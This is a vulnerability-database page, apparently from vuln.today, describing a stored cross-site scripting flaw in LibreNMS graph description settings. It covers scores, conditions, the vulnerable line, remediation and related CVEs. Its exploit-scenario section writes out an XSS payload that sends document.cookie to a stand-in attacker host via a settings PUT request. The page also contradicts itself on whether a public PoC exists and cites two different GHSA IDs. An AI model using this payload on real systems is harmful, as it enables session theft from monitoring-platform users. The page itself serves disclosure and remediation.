Skip to main content

LibreNMS CVE-2026-84188

| EUVDEUVD-2026-69025 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-01 VulnCheck GHSA-pvwj-jwv3-68ww
4.8
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Compromise or obtain admin credentials
  2. Delivery
    Authenticate to LibreNMS admin session
  3. Exploit
    PUT malicious HTML payload to graph_descr setting via settings API
  4. Execution
    Victim authenticated user views affected graph type page
  5. Persist
    Browser renders stored XSS payload
  6. Impact
    Attacker captures victim session token or performs action as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an active administrator-level session in LibreNMS with write access to the graph_descr.<graphtype> settings namespace via the PUT settings API endpoint - this corresponds to CVSS PR:H. Triggering execution additionally requires at least one other authenticated user to navigate to a graphs page for the affected graph type (CVSS UI:R/UI:P). The payload is persistent: once stored, it executes for every subsequent authenticated visitor to that graph page until the configuration value is sanitized or overwritten. Exploitation is strictly bounded to scenarios involving either a malicious insider with admin rights or an external attacker who has already compromised an admin credential. Unauthenticated users and low-privileged authenticated users cannot plant the payload. The vulnerability does not affect graph pages served to unauthenticated sessions.

Impact

The CVSS 3.1 vector confirmed by the GHSA advisory - AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - scores 4.8 Medium, accurately reflecting the high privilege prerequisite (PR:H) and required victim interaction (UI:R) that substantially bound real-world risk. The CVSS 4.0 vector (SC:L/SI:L/SA:N) corroborates limited downstream impact. No EPSS score was supplied in the input data, and this CVE does not appear in CISA KEV, providing no confirmed signal of active exploitation. However, the GHSA advisory includes a working PoC with exact API calls, which lowers the skill bar for abuse. The scope change (S:C in CVSS 3.1) is the key risk amplifier: a single admin-account compromise or insider threat can silently implant a persistent payload that harvests sessions from all other authenticated users. The realistic threat model is therefore a compromised admin pivoting laterally - not an external unauthenticated attacker - meaning organizations with strong admin-account controls face materially lower risk than those without MFA or privileged access management on their LibreNMS instances.

Exploit ScenarioDerived

An attacker who holds or has stolen an admin session issues a PUT request to /settings/graph_descr.device_processor with value <img src=x onerror="fetch('https://attacker.example/c?'+document.cookie)">, storing the payload persistently. Any authenticated LibreNMS user who subsequently navigates to the graphs page for the device_processor type will have their session cookie exfiltrated to the attacker-controlled endpoint. The GHSA advisory includes a working PoC demonstrating this exact request sequence, requiring no additional tooling beyond HTTP access to the LibreNMS instance.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 01, 2026

Stored cross-site scripting in LibreNMS 26.4.0 and below allows an authenticated administrator to inject arbitrary HTML/JavaScript into graph description configuration keys, which then execute in the browsers of every authenticated user who views the affected graph type. The vulnerable sink is includes/html/pages/graphs.inc.php:194, where LibrenmsConfig::get() output is echoed without htmlspecialchars(). A public proof-of-concept is documented in the GHSA advisory; no active exploitation is confirmed via CISA KEV. The vendor released a fix in version 26.7.0.

RemediationAI

Upgrade LibreNMS to version 26.7.0, which applies htmlspecialchars(..., ENT_QUOTES, 'UTF-8') to the graph description output at includes/html/pages/graphs.inc.php:194, eliminating the unescaped echo. This fix is confirmed by the vendor GHSA advisory at https://github.com/librenms/librenms/security/advisories/GHSA-7cj5-v4pp-v632. If immediate upgrade is not operationally feasible, restrict write access to the graph_descr.* settings API keys to the smallest possible set of trusted administrator accounts and enforce MFA on all admin sessions - accepting that this does not prevent a rogue or compromised admin from exploiting the flaw, only reducing the attacker pool. Enable audit logging of configuration changes to detect unauthorized modifications to graph description settings as a detective compensating control.

Affected VersionsENISA

librenms 0 <26.7.0

Affected Packages

composer librenms/librenms fix: 26.7.0
euvd librenms fix: 26.7.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

LibreNMS is a PHP-based network monitoring platform. The flaw is a textbook CWE-79 (Improper Neutralization of Input During Web Page Generation) instance: at line 194 of includes/html/pages/graphs.inc.php, the application executes echo LibrenmsConfig::get('graph_descr.' . $vars['type']) without passing the value through htmlspecialchars() or any equivalent output encoder. The graph_descr.<graphtype> family of settings is writable by admin users via the settings API (PUT endpoint), meaning attacker-controlled data enters persistent storage and is later reflected into every authenticated user's HTML page for that graph type. The CPE cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:* covers all versions up to and including 26.4.0.

Know when Librenms gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 4.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 4.8 MEDIUM

Admin write access required (PR:H), victim must load the page (UI:R), payload crosses into victim browser session (S:C); no availability impact warranted.

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Sep 01, 2026 - 13:01 EUVD

DescriptionCVE.org

LibreNMS versions <= 26.4.0 contain a stored cross-site scripting vulnerability in the graph_descr.<graphtype> configuration settings, which are echoed verbatim without HTML escaping in includes/html/pages/graphs.inc.php. An administrator can store a malicious HTML payload that executes in the browser of any authenticated user who views the affected graph type. The issue is fixed in version 26.7.0.

Threat Intelligence Overview

EPSS Score
0.2%
Top 92% exploitable
Prevalence
Medium
popular open-source network monitoring tool in enterprise and ISP environments
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2019-10669 HIGH POC
7.2 Sep 09

An issue was discovered in LibreNMS through 1.47. Rated high severity (CVSS 7.2), this vulnerability is remotely exploit

CVE-2021-44278 CRITICAL POC
9.8 Dec 03

Librenms 21.11.0 is affected by a path manipulation vulnerability in includes/html/pages/device/showconfig.inc.php. Rate

CVE-2019-10665 CRITICAL POC
9.8 Sep 09

An issue was discovered in LibreNMS through 1.47. Rated critical severity (CVSS 9.8), this vulnerability is remotely exp

CVE-2026-86426 CRITICAL POC
9.2 Sep 07

Authentication bypass in the LibreNMS REST API (all versions before 26.8.0) lets unauthenticated remote attackers reach

CVE-2026-26988 CRITICAL POC
9.1 Feb 20

SQL injection in LibreNMS 25.12.0 and below. PoC and patch available.

CVE-2019-10668 CRITICAL POC
9.1 Sep 09

An issue was discovered in LibreNMS through 1.47. Rated critical severity (CVSS 9.1), this vulnerability is remotely exp

CVE-2026-26990 HIGH POC
8.8 Feb 20

SQL injection in LibreNMS versions 25.12.0 and below allows authenticated users to extract sensitive database informatio

CVE-2024-32461 HIGH POC
8.8 Apr 22

LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Rated high severity (CVSS 8.8), this vulnera

CVE-2020-15877 HIGH POC
8.8 Jul 21

An issue was discovered in LibreNMS before 1.65.1. Rated high severity (CVSS 8.8), this vulnerability is remotely exploi

CVE-2019-12463 HIGH POC
8.8 Sep 09

An issue was discovered in LibreNMS 1.50.1. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable,

CVE-2019-10671 HIGH POC
8.8 Sep 09

An issue was discovered in LibreNMS through 1.47. Rated high severity (CVSS 8.8), this vulnerability is remotely exploit

CVE-2026-80214 HIGH POC
8.6 Aug 26

Command injection in LibreNMS's Virtualization Discovery module enables authenticated administrator-level users to execu

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy